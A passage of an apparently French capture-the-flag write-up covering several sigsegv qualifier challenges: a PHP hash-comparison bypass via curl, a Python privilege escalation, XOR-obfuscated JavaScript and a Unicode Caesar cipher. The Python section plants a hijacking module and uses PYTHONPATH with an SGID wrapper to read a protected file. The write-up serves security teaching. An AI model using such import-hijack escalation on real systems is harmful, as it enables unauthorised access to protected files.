</span><span class="sc18">?&gt;</span></span></p>
<div class="separator" style="clear: both; text-align: left;"></div>
<div style="text-align: justify;">La première chaîne de caractère validant la condition est trouvée en une vingtaine de minutes, et permet de valider le challenge :</div>
<p>&nbsp;</p>
</div>
<p><span class="w-code"><span class="w-user">iansus</span> @ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">curl -X POST http://iansus.net:4444 &#8211;data &#8216;h1=1539722573.8918&#8217; -s | grep sigsegv</span><br />
h1 vaut: 0e633901513385170308561908425699&lt;/br&gt;&lt;!&#8211;Bien joué le flag est <span class="w-grepped">sigsegv</span>{a1a29afa647a20758e64b49d8eb453f4}&#8211;&gt;&lt;!&#8211; Si une méthode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;</span></p>
<h2 style="clear: both;">App-script : Fun avec Python (par laxa)</h2>
<div>
<div style="text-align: justify;"><b>Description : </b>J&#8217;ai commencé à développer des modules pour python, c&#8217;est marrant. Je suis presque sûr que tout est sécurisé jusqu&#8217;à présent.<br />
<span class="w-inline-code">ssh -p4443 chall@51.158.73.218 &#8211; mdp: e92b1b12c450afd60faa9f43cff5412e</span></div>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">La première étape est par conséquent de se connecter en SSH sur ce serveur pour découvrir l&#8217;environnement:</div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/Qualifications-2018 % <span class="w-cli">ssh -p 4443 chall@iansus.net</span><br />
chall@iansus.net&#8217;s password:<br />
Linux 4e5d88350bfc 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64<br />
The programs included with the Debian GNU/Linux system are free software;<br />
the exact distribution terms for each program are described in the<br />
individual files in /usr/share/doc/*/copyright.<br />
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br />
permitted by applicable law.<br />
aaaaaaaaaaaaaaaaaaaaaa<br />
<span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">ls -l</span><br />
total 16<br />
-r&#8211;r&#8212;&#8211; 1 root chall-pwned 21 Oct 16 17:13 flag<br />
-rwxr-xr-x 1 root root 307 Oct 16 17:13 hello-world.py<br />
-rwxr-<span class="w-grepped">s</span>r-x 1 root chall-pwned 6304 Oct 17 17:18 <span class="w-grepped">wrapper</span></span></p>
<div style="text-align: justify;">Dans cette configuration, le fichier <b>flag</b> ne peut être lu que par un membre du groupe <b>chall-pwned</b>. Un programme <b>wrapper</b> possède le bit SGID et s&#8217;exécutera sous l&#8217;identité du groupe <b>chall-pwned</b>. Enfin, le fichier Python suivant est fourni :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python2.7</span><span class="sc0"><br />
</span><span class="sc5">from</span> <span class="sc11">colors</span> <span class="sc5">import</span> <span class="sc11">colors</span><span class="sc0"><br />
</span><span class="sc5">def</span> <span class="sc9">main</span><span class="sc10">():</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&#8216;This is an advanced hello-world&#8217;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&#8216;The world is more joyful with colors&#8217;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&#8216;So, here we are:&#8217;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&#8216;{}Hello-World !{}&#8217;</span><span class="sc10">.</span><span class="sc11">format</span><span class="sc10">(</span><span class="sc11">colors</span><span class="sc10">.</span><span class="sc11">bcolors</span><span class="sc10">.</span><span class="sc11">OKBLUE</span><span class="sc10">,</span> <span class="sc11">colors</span><span class="sc10">.</span><span class="sc11">bcolors</span><span class="sc10">.</span><span class="sc11">ENDC</span><span class="sc10">))</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">__name__</span> <span class="sc10">==</span> <span class="sc4">&#8216;__main__&#8217;</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">main</span><span class="sc10">()</span></span></p>
<div style="text-align: justify;">Après vérification, le package <b>colors</b> n&#8217;existe pas sur PyPI, ce doit être un développement de l&#8217;auteur. Pour aller observer le fichier source, il suffit d&#8217;exécuter les commandes suivantes :</div>
<p><span class="w-code"><span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">python2.7</span><br />
Python 2.7.13 (default, Nov 24 2017, 17:33:09)<br />
[GCC 6.3.0 20170516] on linux2<br />
Type &#8220;help&#8221;, &#8220;copyright&#8221;, &#8220;credits&#8221; or &#8220;license&#8221; for more information.<br />
&gt;&gt;&gt; <span class="w-cli">import colors</span><br />
&gt;&gt;&gt; <span class="w-cli">colors.__file__</span><br />
&#8216;<span class="w-grepped">/usr/local/lib/python2.7/dist-packages/colors/</span>__init__.py&#8217;</span></p>
<div style="text-align: justify;">La source du module Python est située dans le fichier <span class="w-inline-code">/usr/local/lib/python2.7/dist-packages/colors/colors.py</span> :</div>
<p><span class="w-code"><span class="sc5">class</span> <span class="sc8">bcolors</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">HEADER</span> <span class="sc10">=</span> <span class="sc4">&#8216;\033[95m&#8217;</span><span class="sc0"><br />
</span><span class="sc11">OKBLUE</span> <span class="sc10">=</span> <span class="sc4">&#8216;\033[94m&#8217;</span><span class="sc0"><br />
</span><span class="sc11">OKGREEN</span> <span class="sc10">=</span> <span class="sc4">&#8216;\033[92m&#8217;</span><span class="sc0"><br />
</span><span class="sc11">WARNING</span> <span class="sc10">=</span> <span class="sc4">&#8216;\033[93m&#8217;</span><span class="sc0"><br />
</span><span class="sc11">FAIL</span> <span class="sc10">=</span> <span class="sc4">&#8216;\033[91m&#8217;</span><span class="sc0"><br />
</span><span class="sc11">ENDC</span> <span class="sc10">=</span> <span class="sc4">&#8216;\033[0m&#8217;</span><span class="sc0"><br />
</span><span class="sc11">BOLD</span> <span class="sc10">=</span> <span class="sc4">&#8216;\033[1m&#8217;</span><span class="sc0"><br />
</span><span class="sc11">UNDERLINE</span> <span class="sc10">=</span> <span class="sc4">&#8216;\033[4m&#8217;</span></span></p>
<div style="text-align: justify;">Plutôt déroutant à première vue, puisqu&#8217;aucun argument n&#8217;est fourni au programme&#8230; La vulnérabilité vient peut-être alors du chargement du module. Pour cela, la <a href="https://docs.python.org/2.7/tutorial/modules.html#the-module-search-path" target="_blank" rel="noopener">documentation de Python</a> décrit très bien l&#8217;ordre de chargement des modules.</div>
<div style="text-align: justify;">Par défaut, les modules sont chargés depuis les dossiers présents dans la variable <b>sys.path</b>, qui fonctionne de manière similaire à la variable d&#8217;environnement <b>$PATH</b>. Cette variable est initialisée comme suit :</div>
<div style="text-align: justify;"></div>
<ul>
<li>Avec le nom du dossier contenant le script Python exécuter (les liens symboliques sont résolus)</li>
<li>Avec la variable d&#8217;environnement <b>$PYTHONPATH</b></li>
<li>Avec le dossier d&#8217;installation par défaut des scripts</li>
</ul>
<p>&nbsp;</p>
<div style="text-align: justify;">N&#8217;ayant ni les droits d&#8217;écriture dans le dossier courant ou dans le dossier par défaut, la seconde solution semble la plus adaptée. L&#8217;utilisation d&#8217;un binaire SUID ne supprime pas les variables d&#8217;environnement (à l&#8217;inverse du fonctionnement par défaut de sudo).</div>
<div style="text-align: justify;">Pour exploiter la vulnérabilité, le fichier <span class="w-inline-code">/tmp/colors.py</span> est créé :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python2.7</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc11">open</span><span class="sc10">(</span><span class="sc4">&#8216;/home/chall/flag&#8217;</span><span class="sc10">,</span> <span class="sc4">&#8216;r&#8217;</span><span class="sc10">).</span><span class="sc11">read</span><span class="sc10">()</span></span><br />
Il est alors possible de récupérer le flag comme suit :<br />
<span class="w-code"><span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">PYTHONPATH=/tmp ./wrapper</span><br />
<span class="w-grepped">sigsegv{un_flag_ici}</span><br />
Traceback (most recent call last):<br />
File &#8220;/home/chall/hello-world.py&#8221;, line 3, in &lt;module&gt;<br />
from colors import colors<br />
ImportError: cannot import name colors<br />
</span></p>
<h2 style="clear: both;">Web-client : Javascript Obfusqué (par Synacktiv)</h2>
<div>
<div style="text-align: justify;">
<p><b>Description : </b>Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?Le challenge se présente sous la forme d&#8217;un fichier HTML qui contient un formulaire pour vérifier le flag :</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-RzbvmwXsFGs/W8hHKOhqWfI/AAAAAAAAAj0/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs/s1600/3_1.png"><img decoding="async" src="https://2.bp.blogspot.com/-RzbvmwXsFGs/W8hHKOhqWfI/AAAAAAAAAj0/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs/s1600/3_1.png" border="0" data-original-height="41" data-original-width="499" /></a></div>
<p><span class="w-code"><span class="sc1">&lt;html&gt;&lt;SCRIPT</span> <span class="sc3">LANGUAGE</span><span class="sc8">=</span><span class="sc6">&#8220;JavaScript&#8221;</span><span class="sc1">&gt;</span><span class="sc43">&lt;!&#8211;</span><span class="sc41"><br />
</span><span class="sc46">document.write</span><span class="sc50">(</span><span class="sc46">unescape</span><span class="sc50">(</span><span class="sc48">&#8220;%3C%53[..snip..]%54%3E&#8221;</span><span class="sc50">));</span><span class="sc43">//&#8211;&gt;</span><span class="sc1">&lt;/SCRIPT&gt;&lt;SCRIPT</span> <span class="sc3">LANGUAGE</span><span class="sc8">=</span><span class="sc6">&#8220;JavaScript&#8221;</span><span class="sc1">&gt;</span><span class="sc43">&lt;!&#8211;</span><span class="sc41"><br />
</span><span class="sc46">hp_d01</span><span class="sc50">(</span><span class="sc46">unescape</span><span class="sc50">(</span><span class="sc48">&#8220;%3E%23//JGCF[..snip..]%23//-JGCF//%3C&#8221;</span><span class="sc50">));</span><span class="sc43">//&#8211;&gt;</span><span class="sc1">&lt;/SCRIPT&gt;&lt;NOSCRIPT&gt;</span><span class="sc0">To display this page you need a browser with JavaScript support.</span><span class="sc1">&lt;/NOSCRIPT&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/html&gt;</span><span class="sc0"><br />
</span></span><br />
Il est en général possible de rencontrer deux types d&#8217;obfuscation JavaScript :</p>
<ul>
<li>La première construit un code qui sera désobfusqué et exécuté grâce à la fonction <b>eval()</b></li>
<li>La seconde construit un code qui sera désobfusqué et exécuté en l&#8217;ajoutant dynamiquement dans le code de la page, par exemple via <b>document.write()</b></li>
</ul>
<p>Ce challenge utilise la seconde méthode, et le code final peut donc être récupéré en utilisant l&#8217;inspecteur HTML de Chrome / Firefox / Opera :</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-2ZA5mrOy7eA/W8hIxs8eBWI/AAAAAAAAAkA/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs/s1600/3_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-2ZA5mrOy7eA/W8hIxs8eBWI/AAAAAAAAAkA/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs/s1600/3_2.png" border="0" data-original-height="237" data-original-width="587" /></a></div>
<p>Le code complet de la fonction JavaScript est le suivant :<br />
<span class="w-code"><span class="sc1">&lt;script</span> <span class="sc3">language</span><span class="sc8">=</span><span class="sc6">&#8220;JavaScript&#8221;</span><span class="sc1">&gt;</span><span class="sc40"><br />
</span><span class="sc47">function</span> <span class="sc46">Kod</span><span class="sc50">(</span><span class="sc46">s</span><span class="sc50">,</span> <span class="sc46">pass</span><span class="sc50">)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">i</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">BlaBla</span><span class="sc50">=</span><span class="sc48">&#8220;&#8221;</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">for</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">&lt;</span><span class="sc46">s.length</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">++)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc46">BlaBla</span> <span class="sc50">+=</span> <span class="sc46">String.fromCharCode</span><span class="sc50">((</span><span class="sc46">pass.charCodeAt</span><span class="sc50">(</span><span class="sc46">i</span><span class="sc50">++))^(</span><span class="sc46">s.charCodeAt</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">)));</span><span class="sc41"><br />
</span><span class="sc47">if</span> <span class="sc50">(</span><span class="sc46">i</span><span class="sc50">&gt;=</span><span class="sc46">pass.length</span><span class="sc50">)</span><span class="sc41"><br />
</span><span class="sc46">i</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">return</span><span class="sc50">(</span><span class="sc46">BlaBla</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">function</span> <span class="sc46">f</span><span class="sc50">(</span><span class="sc46">form</span><span class="sc50">){</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">pass</span><span class="sc50">=</span><span class="sc46">document.form.pass.value</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">hash</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">for</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">&lt;</span><span class="sc46">pass.length</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">++){</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">n</span><span class="sc50">=</span> <span class="sc46">pass.charCodeAt</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc46">hash</span> <span class="sc50">+=</span> <span class="sc50">((</span><span class="sc46">n</span><span class="sc50">&#8211;</span><span class="sc46">j</span><span class="sc50">+</span><span class="sc45">33</span><span class="sc50">)^</span><span class="sc45">31025</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">if</span> <span class="sc50">(</span><span class="sc46">hash</span> <span class="sc50">==</span> <span class="sc45">529387</span><span class="sc50">)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">Secret</span> <span class="sc50">=</span><span class="sc48">&#8220;&#8221;</span><span class="sc50">+</span><span class="sc48">&#8220;\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52\x1b\x1d\x0a\x1f\x5b&#8221;</span><span class="sc50">+</span><span class="sc48">&#8220;&#8221;</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">s</span><span class="sc50">=</span><span class="sc46">Kod</span><span class="sc50">(</span><span class="sc46">Secret</span><span class="sc50">,</span> <span class="sc46">pass</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc46">document.write</span> <span class="sc50">(</span><span class="sc46">s</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span> <span class="sc47">else</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc46">alert</span> <span class="sc50">(</span><span class="sc49">&#8216;Wrong password!&#8217;</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc1">&lt;/script&gt;</span></span><br />
Les première analyses du code indiquent que :</p>
<ul>
<li>La fonction <b>Kod</b> consiste à réaliser une opération <b>XOR</b> entre une chaîne et une clé, cette dernière étant répétée si plus courte que la chaîne à chiffrer</li>
<li>La fonction <b>f</b> est appelée sur validation du formulaire et :
<ul>
<li>réalise une vérification sur la clé entrée dans le formulaire (variable <b>hash</b>)</li>
<li>déchiffre la variable <b>Secret</b> à l&#8217;aide de la clé pour l&#8217;afficher sur la page</li>
</ul>
</li>
</ul>
<div>Il s&#8217;agit donc ici d&#8217;un problème de cryptographie, et la première étape consiste à trouver la longueur de la clé. Bien que des analyses statistiques soient possibles, une méthode plus facile consiste à utiliser le calcul de la variable <b>hash</b> pour évaluer cette longueur.</div>
<div>Cette variable est la somme des <span class="w-inline-code">(n-j+33)^31025</span>, <b>n</b> étant le code ASCII du caractère et <b>j </b>sa position. Ces éléments sont globalement bornés autour dans l&#8217;intervalle 30000-32000. Il est donc facile d&#8217;approximer la longueur de la clé via Napprox = 529387 / 31000 = 17.077</div>
</div>
</div>
<p>, soit 17.</p>
<div style="text-align: justify;">Connaissant cette longueur, la variable Secret peut être présentée sous la forme suivante, qui aligne les octets du texte chiffré qui seront déchiffrés à l&#8217;aide des mêmes octets de la clé :</div>
<p><span class="w-code"><span class="sc3">&#8220;\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e&#8221;</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">&#8220;\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d&#8221;</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">&#8220;\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18&#8221;</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">&#8220;\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d&#8221;</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">&#8220;\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19&#8221;</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">&#8220;\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52&#8221;</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">&#8220;\x1b\x1d\x0a\x1f\x5b&#8221;</span></span></p>
<div style="text-align: justify;">Pour traduire peu à peu le texte, il est possible d&#8217;utiliser la technique du mot probable, qui fonctionne comme suit : on suppose qu&#8217;un certain mot est présent (non coupé) dans l&#8217;un des blocs. Il est alors possible d&#8217;en déduire une portion de clé probable, et de déchiffrer les autres portions de blocs avec cette clé.</div>
<div style="text-align: justify;">Le script suivant permet de faciliter cette recherche, et d&#8217;aboutir peu à peu à la clé finale, <span class="w-inline-code">sigsegv{jsIsE4zy}</span> :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python</span><span class="sc0"><br />
</span><span class="sc5">import</span> <span class="sc11">sys</span><span class="sc0"><br />
</span><span class="sc5">def</span> <span class="sc9">xor</span><span class="sc10">(</span><span class="sc11">a</span><span class="sc10">,</span> <span class="sc11">b</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">return</span> <span class="sc4">&#8221;</span><span class="sc10">.</span><span class="sc11">join</span><span class="sc10">([</span><span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">c</span><span class="sc10">)^</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">d</span><span class="sc10">))</span> <span class="sc5">for</span> <span class="sc11">c</span><span class="sc10">,</span> <span class="sc11">d</span> <span class="sc5">in</span> <span class="sc11">zip</span><span class="sc10">(</span><span class="sc11">a</span><span class="sc10">,</span> <span class="sc11">b</span><span class="sc10">)])</span></span><br />
<span class="sc11">blocks</span> <span class="sc10">=</span> <span class="sc10">[</span><span class="sc0"><br />
</span><span class="sc4">&#8216;\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e&#8217;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&#8216;\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d&#8217;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&#8216;\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18&#8217;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&#8216;\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d&#8217;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&#8216;\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19&#8217;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&#8216;\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52&#8217;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc1">#&#8217;\x1b\x1d\x0a\x1f\x5b&#8217;</span><span class="sc0"><br />
</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc11">pw</span> <span class="sc10">=</span> <span class="sc11">sys</span><span class="sc10">.</span><span class="sc11">argv</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">b</span> <span class="sc5">in</span> <span class="sc11">blocks</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&#8216;[-] Ref is %s&#8217;</span> <span class="sc10">%</span> <span class="sc11">repr</span><span class="sc10">(</span><span class="sc11">b</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">i</span> <span class="sc5">in</span> <span class="sc11">range</span><span class="sc10">(</span><span class="sc11">len</span><span class="sc10">(</span><span class="sc11">blocks</span><span class="sc10">[</span><span class="sc2">0</span><span class="sc10">])-</span><span class="sc11">len</span><span class="sc10">(</span><span class="sc11">pw</span><span class="sc10">)+</span><span class="sc2">1</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&#8216;[-] At pos %d&#8217;</span> <span class="sc10">%</span> <span class="sc11">i</span><span class="sc0"><br />
</span><span class="sc11">pk</span> <span class="sc10">=</span> <span class="sc11">xor</span><span class="sc10">(</span><span class="sc11">b</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">:],</span> <span class="sc11">pw</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&#8216;[-] PK = %s&#8217;</span> <span class="sc10">%</span> <span class="sc11">repr</span><span class="sc10">(</span><span class="sc11">pk</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">b2</span> <span class="sc5">in</span> <span class="sc11">blocks</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">b</span><span class="sc10">==</span><span class="sc11">b2</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">continue</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc11">xor</span><span class="sc10">(</span><span class="sc11">b2</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">:],</span> <span class="sc11">pk</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&#8221;</span><span class="sc0"><br />
</span></p>
<h2>Cryptographie : Un nouveau dialecte (ShrewkRoot)</h2>
<div><b>Description :</b> Nous avons trouvé un nouveau dialecte, analysez-le pour retrouver ce qu&#8217;il signifie:<br />
<span class="w-inline-code">ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ</span>Avant de se lancer à l&#8217;emporte pièce, il est important de noter qu&#8217;il s&#8217;agit ici de caractères multi-bytes. Une méthode simple pour traduire ces derniers consiste à utiliser hexdump :</div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/quals/js % <span class="w-cli">echo -n ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ | hexdump -C</span><br />
00000000 <span class="w-grepped">c8</span> 83 <span class="w-grepped">c7</span> b9 <span class="w-grepped">c7</span> b7 <span class="w-grepped">c8</span> 83 <span class="w-grepped">c7</span> b5 <span class="w-grepped">c7</span> b7 <span class="w-grepped">c8</span> 86 <span class="w-grepped">c8</span> 8b |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000010 <span class="w-grepped">c7</span> 9c <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a4 <span class="w-grepped">c7</span> 95 <span class="w-grepped">c7</span> 97 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> 93 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000020 <span class="w-grepped">c7</span> 95 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a4 <span class="w-grepped">c7</span> a0 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> 99 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000030 <span class="w-grepped">c7</span> 96 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> 93 <span class="w-grepped">c7</span> 99 <span class="w-grepped">c7</span> 9c <span class="w-grepped">c7</span> 95 <span class="w-grepped">c8</span> 8d |&#8230;&#8230;&#8230;&#8230;..|<br />
0000003e</span><br />
On constate alors rapidement que les caractères s&#8217;écrivent sur deux octets, et qu&#8217;ils se présentent tous sous les forme <b>c7 xx</b> ou <b>c8 yy</b>. Par ailleurs, en supposant que le texte décodé commence par <b>sigsegv{</b>, on remarque que :</p>
<ul>
<li>La 1ère lettre (s) et la 4ème lettre (s) sont codées de manière identique (c8 83) : il s&#8217;agit donc probablement d&#8217;une substitution monoalphabétique</li>
<li>La 5ème lettre (e) et la 7ème lettre (g) ont respectivement pour valeur codée <b>c7 b5</b> et <b>c7 b7</b> : le décalage entre deux lettres est constant, il s&#8217;agit probablement d&#8217;une variante du chiffre de César</li>
</ul>
<div>Par conséquent, connaissant le clair et le chiffré pour une lettre de chaque encodage (<b>c7 xx</b> et <b>c8 yy</b>), il est facile de coder un programme qui réalisera la traduction pour nous :</div>
<div><span class="w-code"><span class="w-code"><span class="sc1">#!/usr/bin/python</span><span class="sc0"><br />
</span><span class="sc5">import</span> <span class="sc11">sys</span><span class="sc0"><br />
</span><span class="sc1"># No multibyte string in Python&#8230;</span><span class="sc0"><br />
</span><span class="sc11">s</span> <span class="sc10">=</span> <span class="sc11">sys</span><span class="sc10">.</span><span class="sc11">argv</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc1"># Compute shift from &#8220;sigsegv{&#8230;.}&#8221;</span><span class="sc0"><br />
</span><span class="sc11">dec1</span> <span class="sc10">=</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc2">0</span><span class="sc10">*</span><span class="sc2">2</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc4">&#8216;s&#8217;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc11">dec2</span> <span class="sc10">=</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">*</span><span class="sc2">2</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc4">&#8216;i&#8217;</span><span class="sc10">)</span></span></span><br />
<span class="w-code"><span class="w-code"><span class="sc1"># Apply unshift</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">=</span> <span class="sc4">&#8221;</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">i</span> <span class="sc5">in</span> <span class="sc11">range</span><span class="sc10">(</span><span class="sc2">0</span><span class="sc10">,</span> <span class="sc11">len</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">),</span> <span class="sc2">2</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">])==</span><span class="sc2">0xc8</span><span class="sc10">:</span><span class="sc0"><br />
